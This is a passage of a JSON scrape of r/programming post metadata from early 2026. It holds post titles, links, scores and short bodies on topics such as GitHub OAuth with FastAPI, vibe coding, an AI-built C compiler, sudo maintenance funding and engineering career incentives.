  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qybdsk",
  "url": "https://nemanjamitic.com/blog/2026-02-07-github-login-fastapi-nextjs",
  "permalink": "https://www.reddit.com/r/programming/comments/1qybdsk/implement_github_oauth_login_with_nextjs_and/",
  "title": "Implement Github OAuth login with Next.js and FastAPI",
  "body": "I wrote a practical walkthrough on Github OAuth login with FastAPI and Next.js. It focuses on clean domain separation, HttpOnly cookies, ease of deployment and why handling cookies in Next.js APIs/server actions simplifies OAuth a lot. Includes diagrams and real code.\n\nhttps://nemanjamitic.com/blog/2026-02-07-github-login-fastapi-nextjs\n\nInterested to hear what others think or if you've taken a different approach.",
  "author": "Ok_Animator_1770",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 0,
  "createdAt": "2026-02-07T11:23:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nemanjamitic.com/blog/2026-02-07-github-login-fastapi-nextjs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qxulks",
  "url": "https://blog.nix-ci.com/post/2026-02-05_the-purpose-of-ci-is-to-fail",
  "permalink": "https://www.reddit.com/r/programming/comments/1qxulks/the_purpose_of_continuous_integration_is_to_fail/",
  "title": "The purpose of Continuous Integration is to fail",
  "body": null,
  "author": "NorfairKing2",
  "subreddit": "programming",
  "score": 314,
  "upvoteRatio": 0.93,
  "numComments": 93,
  "createdAt": "2026-02-06T21:32:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.nix-ci.com/post/2026-02-05_the-purpose-of-ci-is-to-fail",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qxmum5",
  "url": "https://haste.health/blog/writing-rust",
  "permalink": "https://www.reddit.com/r/programming/comments/1qxmum5/writing_a_high_performance_clinical_data/",
  "title": "Writing a high performance Clinical Data Repository in Rust",
  "body": null,
  "author": "parlir",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.61,
  "numComments": 1,
  "createdAt": "2026-02-06T16:48:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haste.health/blog/writing-rust",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qxckux",
  "url": "https://youtu.be/ly-GM3aYgfQ?si=QRuDvEuzlfIRENfX",
  "permalink": "https://www.reddit.com/r/programming/comments/1qxckux/im_tired_of_trying_to_make_vibe_coding_work_for_me/",
  "title": "I'm tired of trying to make vibe coding work for me",
  "body": "The Primeagen reaches the conclusion that vibe coding is not for him because ultimately he cares about the quality of his work. What do you guys think? Have you had similar thoughts? Or have you learnt to let go completely and let the vibes take over?",
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 851,
  "upvoteRatio": 0.84,
  "numComments": 430,
  "createdAt": "2026-02-06T08:54:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ly-GM3aYgfQ?si=QRuDvEuzlfIRENfX",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qx33tt",
  "url": "https://youtu.be/up9DoD2hs_E",
  "permalink": "https://www.reddit.com/r/programming/comments/1qx33tt/what_really_happens_when_you_delete_a_file/",
  "title": "What REALLY Happens When You Delete a File",
  "body": null,
  "author": "tanishqq4",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2026-02-06T00:47:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/up9DoD2hs_E",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qwzyu4",
  "url": "https://www.anthropic.com/engineering/building-c-compiler",
  "permalink": "https://www.reddit.com/r/programming/comments/1qwzyu4/anthropic_built_a_c_compiler_using_a_team_of/",
  "title": "Anthropic built a C compiler using a \"team of parallel agents\", has problems compiling hello world.",
  "body": "A very interesting experiment, it can apparently compile a specific version of the Linux kernel, from the article : \"Over nearly 2,000 Claude Code sessions and $20,000 in API costs, the agent team produced a 100,000-line compiler that can build Linux 6.9 on x86, ARM, and RISC-V.\" but at the same time some people have had problems compiling a simple hello world program: https://github.com/anthropics/claudes-c-compiler/issues/1 Edit: Some people could compile the hello world program in the end: \"Works if you supply the correct include path(s)\" Though other pointed out that: \"Which you arguably shouldn't even have to do lmao\"\n\nEdit: I'll add the limitations of this compiler from the blog post, it apparently can't compile the Linux kernel without help from gcc:\n\n\"The compiler, however, is not without limitations. These include:\n\n* It lacks the 16-bit x86 compiler that is necessary to boot Linux out of real mode. For this, it calls out to GCC (the x86_32 and x86_64 compilers are its own).\n\n* It does not have its own assembler and linker; these are the very last bits that Claude started automating and are still somewhat buggy. The demo video was produced with a GCC assembler and linker.\n\n* The compiler successfully builds many projects, but not all. It's not yet a drop-in replacement for a real compiler.\n\n* The generated code is not very efficient. Even with all optimizations enabled, it outputs less efficient code than GCC with all optimizations disabled.\n\n* The Rust code quality is reasonable, but is nowhere near the quality of what an expert Rust programmer might produce.\"\n",
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 2787,
  "upvoteRatio": 0.95,
  "numComments": 735,
  "createdAt": "2026-02-05T22:34:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.anthropic.com/engineering/building-c-compiler",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qwsvh9",
  "url": "https://www.theregister.com/2026/02/03/sudo_maintainer_asks_for_help/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qwsvh9/sudos_maintainer_needs_resources_to_keep_utility/",
  "title": "Sudo's maintainer needs resources to keep utility updated",
  "body": "\"Without some form of assistance, it is untenable,\" Miller said.",
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 687,
  "upvoteRatio": 0.98,
  "numComments": 119,
  "createdAt": "2026-02-05T18:14:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2026/02/03/sudo_maintainer_asks_for_help/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qwpi5i",
  "url": "https://codingismycraft.blog/index.php/2026/02/05/postman-from-api-client-to-everything-app/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qwpi5i/postman_from_api_client_to_everything_app/",
  "title": "Postman: From API Client to “Everything App”",
  "body": "Postman just [announced](https://blog.postman.com/new-capabilities-march-2026/) its March 2026 updates, and it’s a massive change and deviation from its original purpose as an API testing and documentation tool.  I think this is a good example of Vendor lockin (for its users) and feature creep for Postman itself.\n\n[https://codingismycraft.blog/index.php/2026/02/05/postman-from-api-client-to-everything-app/](https://codingismycraft.blog/index.php/2026/02/05/postman-from-api-client-to-everything-app/)",
  "author": "Greedy_Principle5345",
  "subreddit": "programming",
  "score": 407,
  "upvoteRatio": 0.93,
  "numComments": 195,
  "createdAt": "2026-02-05T16:13:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codingismycraft.blog/index.php/2026/02/05/postman-from-api-client-to-everything-app/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qwlfvd",
  "url": "https://youtu.be/NwtE82Wzs_U?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
  "permalink": "https://www.reddit.com/r/programming/comments/1qwlfvd/architecture_for_flow_susanne_kaiser_james_lewis/",
  "title": "Architecture for Flow • Susanne Kaiser & James Lewis",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 0,
  "createdAt": "2026-02-05T13:35:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/NwtE82Wzs_U?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qwawxu",
  "url": "https://lily-lang.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qwawxu/lily_programming_language/",
  "title": "Lily Programming Language",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 1,
  "createdAt": "2026-02-05T04:00:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lily-lang.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qvxgvx",
  "url": "https://www.mameli.dev/blog/modern-data-python-stack/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qvxgvx/a_modern_python_stack_for_data_projects_uv_ruff/",
  "title": "A Modern Python Stack for Data Projects (uv + ruff + ty + Marimo + Polars)",
  "body": "I put together a template repo for Python data projects (linked in the article) and wrote up the “why” behind the tool choices and trade-offs.\n\nTL;DR stack in the template:\n\n* uv for project + env management\n* ruff for linting + formatting\n* ty as a newer, fast type checker\n* Marimo instead of Jupyter for reactive, reproducible notebooks that are just .py files\n* Polars for local wrangling/analytics\n\nCurious what others are using in 2026 for this workflow, and where this setup falls short",
  "author": "makeKarmaGreatAgain",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.65,
  "numComments": 3,
  "createdAt": "2026-02-04T19:00:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.mameli.dev/blog/modern-data-python-stack/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qvu9b3",
  "url": "https://wasmer.io/posts/greenlet-support-python-wasm",
  "permalink": "https://www.reddit.com/r/programming/comments/1qvu9b3/introducing_greenlet_support_for_python_in/",
  "title": "Introducing Greenlet support for Python in WebAssembly",
  "body": null,
  "author": "syrusakbary",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2026-02-04T17:07:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wasmer.io/posts/greenlet-support-python-wasm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qvpcvd",
  "url": "https://www.pathtostaff.com/p/death-of-the-coding-machine-the-archetypes",
  "permalink": "https://www.reddit.com/r/programming/comments/1qvpcvd/death_of_the_coding_machine_the_archetypes/",
  "title": "Death of the Coding Machine: The Archetypes Replacing It You Need to Know",
  "body": null,
  "author": "sidwyn",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 0,
  "createdAt": "2026-02-04T14:02:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pathtostaff.com/p/death-of-the-coding-machine-the-archetypes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qvjvk4",
  "url": "https://xakpc.dev/windows-widgets/history/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qvjvk4/microsoft_has_killed_widgets_six_times_heres_why/",
  "title": "Microsoft Has Killed Widgets Six Times. Here's Why They Keep Coming Back.",
  "body": "If you think Microsoft breaking Windows is a new thing - they've killed their own widget platform 6 times in 30 years. Each one died from a different spectacular failure.\n\nI dug through the full history from Active Desktop crashing explorer.exe in 1997 to the EU forcing a complete rebuild in 2024. \n\nThe latest iteration might actually be done right - or might be killed by Microsoft's desire to shove ads and AI into every surface. We'll see",
  "author": "xakpc",
  "subreddit": "programming",
  "score": 593,
  "upvoteRatio": 0.94,
  "numComments": 162,
  "createdAt": "2026-02-04T09:15:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://xakpc.dev/windows-widgets/history/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qvj0ei",
  "url": "https://deno.com/blog/introducing-deno-sandbox",
  "permalink": "https://www.reddit.com/r/programming/comments/1qvj0ei/introducing_deno_sandbox_deno/",
  "title": "Introducing Deno Sandbox | Deno",
  "body": null,
  "author": "angry_cactus",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-02-04T08:22:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deno.com/blog/introducing-deno-sandbox",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qv8f8q",
  "url": "https://hackaday.com/2026/02/02/how-vibe-coding-is-killing-open-source/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qv8f8q/how_vibe_coding_is_killing_open_source/",
  "title": "How Vibe Coding Is Killing Open Source",
  "body": null,
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 566,
  "upvoteRatio": 0.88,
  "numComments": 165,
  "createdAt": "2026-02-03T23:47:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackaday.com/2026/02/02/how-vibe-coding-is-killing-open-source/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qv89jc",
  "url": "https://crowprose.com/blog/competence-as-tragedy",
  "permalink": "https://www.reddit.com/r/programming/comments/1qv89jc/competence_as_tragedy_a_personal_essay_on_craft/",
  "title": "\"Competence as Tragedy\" — a personal essay on craft, beautiful code, and watching AI make your hard-won skills obsolete",
  "body": null,
  "author": "averagemrjoe",
  "subreddit": "programming",
  "score": 622,
  "upvoteRatio": 0.89,
  "numComments": 223,
  "createdAt": "2026-02-03T23:40:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://crowprose.com/blog/competence-as-tragedy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qumh9t",
  "url": "https://fumics.in/posts/2026-02-03-codex-app-death-of-ide.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qumh9t/openais_codex_app_wants_to_replace_your_ide_im/",
  "title": "OpenAI's Codex App Wants to Replace Your IDE. I'm Not Sure It Should.",
  "body": null,
  "author": "Upper-Host3983",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 44,
  "createdAt": "2026-02-03T08:23:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fumics.in/posts/2026-02-03-codex-app-death-of-ide.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qu6t8s",
  "url": "https://blog.3squaredcircles.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1qu6t8s/your_career_ladder_is_rewarding_the_wrong_behavior/",
  "title": "Your Career Ladder is Rewarding the Wrong Behavior",
  "body": "Every engineering organization has a hero.\n\nThey are the firefighter. The one who thrives under pressure, who can dive into a production-down incident at 3 AM and, through a combination of deep system knowledge and sheer brilliance, bring the system back to life. They are rewarded for it. They get the bonuses, the promotions, and the reputation as a \"go-to\" person.\n\nAnd in celebrating them, we are creating a culture that is destined to remain on fire.\n\nFor every visible firefighter, there is an invisible fire preventer. This is the engineer who spends a month on a thankless, complex refactoring of a legacy service. Their work doesn't result in a new feature on the roadmap. Their success is silent—it's the catastrophic outage that doesn't happen six months from now. Their reward is to be overlooked in the next promotion cycle because their \"impact\" wasn't as visible as the hero who saved the day.\n\nThis is a perverse incentive, and we, as managers, created it.\n\nOur performance review systems are fundamentally biased towards visible, reactive work over invisible, proactive work. We are great at measuring things we can easily count: features shipped, tickets closed, incidents resolved. We don't have a column on our spreadsheet for \"catastrophes averted.\" As a result, we create a career ladder that implicitly encourages engineers to let things smolder, knowing the reward for putting out the eventual blaze is greater than the reward for ensuring there's no fire in the first place.\n\nIt's time to change what we measure. \"Impact\" cannot be a synonym for \"visible activity.\" Real impact is the verifiable elimination of future work and risk.\n\n* The engineer who automates a flaky, manual deployment step hasn't just closed a ticket; they have verifiably improved the Lead Time for Changes for every single developer on the team, forever. That is massive, compounding impact.\n* The engineer who refactors a high-churn, bug-prone module hasn't just \"cleaned up code\"; they have measurably reduced the Change Failure Rate for an entire domain of the business. That is a direct reduction in business risk.\n\nWe need to start rewarding the architects of fireproof buildings, not just the most skilled firefighters. This requires a conscious, data-driven effort to find and celebrate the invisible work. It means using tools that can quantify the risk of a module before it fails, and then tracking the reduction of that risk as a first-class measure of an engineer's contribution.\n\nSo the question to ask yourself in your next performance calibration is a hard one: Are we promoting the people who are best at navigating our broken system, or are we promoting the people who are actually fixing it?",
  "author": "3sc2002",
  "subreddit": "programming",
  "score": 503,
  "upvoteRatio": 0.86,
  "numComments": 122,
  "createdAt": "2026-02-02T20:34:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.3squaredcircles.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qtuppd",
  "url": "https://www.ufried.com/blog/forget_technical_debt/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qtuppd/forget_technical_debt/",
  "title": "Forget technical debt",
  "body": "A very interesting & thought-provoking take on what truly lies behind technical debt - that is, what do we want to achieve by reducing it? What do we really mean? Turns out, it is not about the debt itself but about...",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 7,
  "createdAt": "2026-02-02T13:14:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ufried.com/blog/forget_technical_debt/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qttqik",
  "url": "https://notepad-plus-plus.org/news/hijacked-incident-info-update/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qttqik/notepad_hijacked_by_statesponsored_hackers/",
  "title": "Notepad++ Hijacked by State-Sponsored Hackers",
  "body": null,
  "author": "Pensive_Goat",
  "subreddit": "programming",
  "score": 1659,
  "upvoteRatio": 0.98,
  "numComments": 372,
  "createdAt": "2026-02-02T12:29:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://notepad-plus-plus.org/news/hijacked-incident-info-update/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qtp838",
  "url": "https://youtube.com/shorts/3f9Q4DE0uXk",
  "permalink": "https://www.reddit.com/r/programming/comments/1qtp838/data_management_systems_never_die_ibm_db2_is/",
  "title": "\"Data Management Systems Never Die – IBM Db2 Is Still Going Strong\" – Hannes Mühleisen",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 8,
  "createdAt": "2026-02-02T08:09:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtube.com/shorts/3f9Q4DE0uXk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qtg70y",
  "url": "https://www.theseniordev.com/blog/to-every-developer-close-to-burnout-read-this",
  "permalink": "https://www.reddit.com/r/programming/comments/1qtg70y/to_every_developer_close_to_burnout_read_this/",
  "title": "To Every Developer Close To Burnout, Read This · theSeniorDev",
  "body": "If you can get rid of three of the following choices to mitigate burn out, which of the three will you get rid off?\n\n1. Bad Management\n2. AI\n3. Toxic co-workers\n4. Impossible deadlines\n5. High turn over",
  "author": "Inner-Chemistry8971",
  "subreddit": "programming",
  "score": 317,
  "upvoteRatio": 0.9,
  "numComments": 90,
  "createdAt": "2026-02-02T00:42:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theseniordev.com/blog/to-every-developer-close-to-burnout-read-this",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qtbi2l",
  "url": "https://caseymuratori.com/blog_0015",
  "permalink": "https://www.reddit.com/r/programming/comments/1qtbi2l/semantic_compression_why_modeling_realworld/",
  "title": "Semantic Compression — why modeling “real-world objects” in OOP often fails",
  "body": "Read this after seeing it referenced in a comment thread. It pushes back on the usual “model the real world with classes” approach and explains why it tends to fall apart in practice.\n\nThe author uses a real C++ example from The Witness editor and shows how writing concrete code first, then pulling out shared pieces as they appear, leads to cleaner structure than designing class hierarchies up front. It’s opinionated, but grounded in actual code instead of diagrams or buzzwords.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 291,
  "upvoteRatio": 0.91,
  "numComments": 102,
  "createdAt": "2026-02-01T21:33:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://caseymuratori.com/blog_0015",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qt7w80",
  "url": "https://protean-labs.io/blog/researchers-find-thousands-of-openclaw-instances-exposed",
  "permalink": "https://www.reddit.com/r/programming/comments/1qt7w80/researchers_find_thousands_of_openclaw_instances/",
  "title": "Researchers Find Thousands of OpenClaw Instances Exposed to the Internet",
  "body": null,
  "author": "_ahku",
  "subreddit": "programming",
  "score": 321,
  "upvoteRatio": 0.94,
  "numComments": 51,
  "createdAt": "2026-02-01T19:21:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://protean-labs.io/blog/researchers-find-thousands-of-openclaw-instances-exposed",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qsvfbq",
  "url": "https://atmoio.substack.com/p/there-is-no-skill-in-ai-coding",
  "permalink": "https://www.reddit.com/r/programming/comments/1qsvfbq/there_is_no_skill_in_ai_coding/",
  "title": "There is no skill in AI coding",
  "body": "A very good take on why models are doing most of the hard work - it's better to focus on fundamentals & generally knowing your stuff to get the most of LLMs/AI-assisted coding (where it's useful) rather than chasing magical tricks & tips that would rather not give you much of the productivity improvements. \n\nThe true bottlenecks are - the model & your skills, experience and reasoning capacity (intelligence). You control only the latter.",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 9,
  "createdAt": "2026-02-01T10:51:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://atmoio.substack.com/p/there-is-no-skill-in-ai-coding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qskrh4",
  "url": "https://www.pcloadletter.dev/blog/big-tech-quality/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qskrh4/quality_is_a_hard_sell_in_big_tech/",
  "title": "Quality is a hard sell in big tech",
  "body": null,
  "author": "R2_SWE2",
  "subreddit": "programming",
  "score": 391,
  "upvoteRatio": 0.95,
  "numComments": 123,
  "createdAt": "2026-02-01T01:34:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcloadletter.dev/blog/big-tech-quality/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qrysmp",
  "url": "https://computergoblin.com/blog/the-story-of-a-5-minute-endpoint/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qrysmp/the_dumbest_performance_fix_ever/",
  "title": "The dumbest performance fix ever",
  "body": null,
  "author": "Kyn21kx",
  "subreddit": "programming",
  "score": 467,
  "upvoteRatio": 0.88,
  "numComments": 109,
  "createdAt": "2026-01-31T10:20:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://computergoblin.com/blog/the-story-of-a-5-minute-endpoint/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qqxvlw",
  "url": "https://arxiv.org/abs/2601.20245",
  "permalink": "https://www.reddit.com/r/programming/comments/1qqxvlw/anthropic_ai_assisted_coding_doesnt_show/",
  "title": "Anthropic: AI assisted coding doesn't show efficiency gains and impairs developers abilities.",
  "body": "You sure have heard it, it has been repeated countless times in the last few weeks, even from some luminaries of the development world: \"AI coding makes you 10x more productive and if you don't use it you will be left behind\". Sounds ominous right? Well, one of the biggest promoters of AI assisted coding has just put a stop to the hype and FOMO. Anthropic has published a paper that concludes:\n\n\\*  There is no significant speed up in development by using AI assisted coding. This is partly because composing prompts and giving context to the LLM takes a lot of time, sometimes comparable as writing the code manually.\n\n\\* AI assisted coding significantly lowers the comprehension of the codebase and impairs developers grow. Developers who rely more on AI perform worst at debugging, conceptual understanding and code reading.\n\nThis seems to contradict the massive push that has occurred in the last weeks, were people are saying that AI speeds them up massively(some claiming a 100x boost), that there is no downsides to this. Some even claim that they don't read the generated code and that software engineering is dead. Other people advocating this type of AI assisted development says \"You just have to review the generated code\" but it appears that just reviewing the code gives you at best a \"flimsy understanding\" of the codebase, which significantly reduces your ability to debug any problem that arises in the future, and stunts your abilities as a developer and problem solver, without delivering significant efficiency gains.",
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 4028,
  "upvoteRatio": 0.94,
  "numComments": 704,
  "createdAt": "2026-01-30T06:29:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2601.20245",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qqob17",
  "url": "https://www.youtube.com/watch?v=ts0nH_pSAdM",
  "permalink": "https://www.reddit.com/r/programming/comments/1qqob17/thoughts_software_companies_that_went_extreme/",
  "title": "Thoughts? Software companies that went extreme into AI coding are not enjoying what they are getting - show reports from 2024-2025",
  "body": null,
  "author": "Frequent-Football984",
  "subreddit": "programming",
  "score": 178,
  "upvoteRatio": 0.66,
  "numComments": 103,
  "createdAt": "2026-01-29T23:10:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=ts0nH_pSAdM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qqhcic",
  "url": "https://superkacper4.github.io/portfolio-2023/blog/technical-debt-everyday",
  "permalink": "https://www.reddit.com/r/programming/comments/1qqhcic/how_we_created_more_tech_debt_in_6_months_than_in/",
  "title": "How we created more tech debt in 6 months than in a 10-year-old system",
  "body": null,
